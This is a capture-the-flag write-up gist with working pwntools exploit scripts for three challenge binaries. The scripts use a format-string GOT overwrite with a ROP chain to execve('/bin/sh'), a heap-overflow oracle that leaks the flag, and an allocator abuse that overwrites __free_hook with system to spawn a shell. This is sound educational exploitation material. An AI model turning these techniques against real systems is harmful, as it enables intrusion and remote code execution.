Skip to content

Instantly share code, notes, and snippets.

@kriw
Last active July 12, 2020 08:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kriw/886b49f18be61c3743dc90df3ceb2cb3 to your computer and use it in GitHub Desktop.
Save kriw/886b49f18be61c3743dc90df3ceb2cb3 to your computer and use it in GitHub Desktop.

Beginners Pwn

# I'm sorry I am using Python2 :( for pwning
from __future__ import division, print_function
import random
# Run: pip install pwntools
from pwn import *
import argparse
import time


# A way to start the program server locally, and debug your exploit on Linux.
# 1. Install socat
# 2. socat TCP-L:3001,reuseaddr,fork EXEC:./beginners_pwn
# 3. python solver.py
# 4. sudo gdb -q -p `pgrep beginners_pwn`

r = remote('35.221.81.216', 30002)
# r = process('./beginners_pwn')
# gdb.attach(r)

elf = ELF('./beginners_pwn')

payload = ''
payload += '%8$lu %1$s'.ljust(0x10, '\0')
payload += p64(elf.got['__stack_chk_fail'])
r.sendline(payload)

canvas = 0x404000 + 0xc00

payload = ''
payload += str(0x401256) + ' '
payload += '/bin/sh'.ljust(0x10, '\0')
payload += 'A' # padding
payload += p64(0x4012ba)
payload += p64(0) # rbx
payload += p64(0x1) # rbp
payload += p64(canvas)  # r12 (edi)
payload += p64(0x21) # r13 (rsi)
payload += p64(0) # r14
payload += p64(elf.got['__stack_chk_fail']) # r15
payload += p64(0x4012a0)
payload += p64(canvas) * 7
payload += p64(0x00401146)
# Setting arguments of execve('/bin/sh', NULL, NULL)
payload += p64(0x4012ba)
payload += p64(0) # rbx
payload += p64(0x1) # rbp
payload += p64(canvas)  # r12 (edi)
payload += p64(0x0) # r13 (rsi)
payload += p64(0) # r14 (rdx)
payload += p64(elf.got['__stack_chk_fail']) # r15
payload += p64(0x4012a0)
payload += p64(canvas) * 7
payload += p64(0x40118f) # syscall


raw_input('start')
r.sendline(payload) # dummy: send `AAAA' to the server

raw_input('Send syscall number')
payload = ''
payload += '/bin/sh\0'.ljust(0x21, chr(0x3b))
r.sendline(payload)

r.interactive() # After you get shell, you can intereact with the server!

Detective

Description

Heap challenge, the program exits 5 seconds after starts. We can write nth character of flag into heap, but there is no way to dump heap content. Flag consists of TSG{} and hexadecimal characters.

Bug

read flag causes heap overflow

How to Solve

It seems difficalt to pwn shell, I decided to identify flag character one by one. I used binary search to identify by causing abort on free. I wrote nth flag character into second least significant bytes to make huge chunk, and allocate (probably) enough chunk , then free the huge chunk. If I did not allocate enough, the program exist with abort. If I allocated enough the program goes on. The program will exits with timeout if you send commands (allocate) syncronously by sendlineafter, recvuntil. I sent payload which allocate many times at once.

from pwn import *
import sys

p = remote('35.221.81.216', 30001)
# p = process('./detective', aslr=False, env={'LD_PRELOAD': './libc.so.6'})
# gdb.attach(p, gdb_args=['-x', 'gdb.init'])

elf = ELF('./detective')
prompt = '> '

index = int(sys.argv[1])
target = sys.argv[2]

target_size = ord(target)
p.sendlineafter(prompt, str(index))

def alloc(index, size, data):
    p.sendlineafter(prompt, '0')
    p.sendlineafter(prompt, str(index))
    p.sendlineafter(prompt, str(size))
    p.sendafter(prompt, data)

def dealloc(index):
    p.sendlineafter(prompt, '1')
    p.sendlineafter(prompt, str(index))

def read_flag(index, pos):
    p.sendlineafter(prompt, '2')
    p.sendlineafter(prompt, str(index))
    p.sendlineafter(prompt, str(pos))

alloc(0, 0x48, 'A' * 0x48)
alloc(1, 0x28, 'B' * 0x28)
read_flag(0, 0x49)
dealloc(0)

payload = ''
for i in range(target_size - 1):
    payload += '0\n'
    payload += '0\n'
    payload += str(0xf8) + '\n'
    payload += 'A\n'

p.sendafter(prompt, payload)

dealloc(1)

p.interactive()

Violence Fixer

Pseudo custom allocator challenge

Following procedure will allocate duplicate chunks. This is caused because allocate return top pointer and move it, free only moves top by chunk size.

p1 = alloc
p2 = alloc
free(p1)
p3 = alloc
assert p2 == p3

libc address can be leaked by freeing large chunk, but the argument of allocate can not be big enough. Following scripts will do that, and write system address into __free_hook

from pwn import *

p = remote('35.221.81.216', 32112)
# p = process('./violence-fixer', aslr=False, env={'LD_PRELOAD': './libc.so.6'})
# gdb.attach(p)

elf = ELF('./violence-fixer')
libc = ELF('./libc.so.6')

p.sendlineafter('Are you beginner?: ', 'y')

prompt = '> '

def alloc(size, content):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('size: ', str(size))
    p.sendafter('content: ', content)

def delegate(size, content):
    p.sendlineafter(prompt, '0')
    p.sendlineafter('Your really want to delegate malloc rihgt to arena???>', 'y')
    p.sendlineafter('size: ', str(size))
    p.sendafter('content: ', content)

def free(index):
    p.sendlineafter(prompt, '3')
    p.sendlineafter('index: ', str(index))

def show(index):
    p.sendlineafter(prompt, '2')
    p.sendlineafter('index: ', str(index))
    return p.recvuntil('\n')[:-1]

alloc(0x28, 'A' * 0x28)
alloc(0x28, 'B' * 0x28)
alloc(0x28, 'C' * 0x28)

free(1)
free(2)

payload = ''
payload += 'D' * 0x30
alloc(0x58, payload)
leaked = show(1)
heap_addr = u64(leaked.lstrip(payload).ljust(8, '\0'))
heap_base = (heap_addr >> 12) << 12
info('heap_addr: %s' % hex(heap_addr))
info('heap_base: %s' % hex(heap_base))

alloc(0x28, 'E' * 0x28)

alloc(0x28, 'F' * 0x28)
alloc(0x28, 'F' * 0x28)
alloc(0x28, 'F' * 0x28)

free(3)
free(4)

alloc(0xf8, 'G' * 0x28 + p64(0x5d1 + 0x10))
for i in range(0x5):
    alloc(0xf8, 'F' * 0xf8)
payload = ''
payload += p64(0) + p64(0x151)
alloc(0xf8, payload)

free(5)

free(3)
free(4)
free(5)
free(6)
free(7)
free(8)
free(9)
free(1)
free(2)
free(0)
# free(10)

payload = ''
payload += 'A' * 0x20
alloc(0x58, payload)

leaked = show(0)
libc_addr = u64(leaked.lstrip(payload).ljust(8, '\0'))
libc_base = libc_addr - 0x1ebbe0
info('libc_base: %s' % hex(libc_base))

alloc(0x28, 'A' * 0x28)
alloc(0x28, 'A' * 0x28)

free(1)
free(2)

free_hook = libc.symbols['__free_hook'] + libc_base
alloc(0x28, p64(free_hook) + p64(free_hook))

alloc(0x28, '/bin/sh'.ljust(0x28, '\0'))

payload = ''
payload += p64(libc_base + libc.symbols['system'])
delegate(0x28, payload)

free(2)

p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment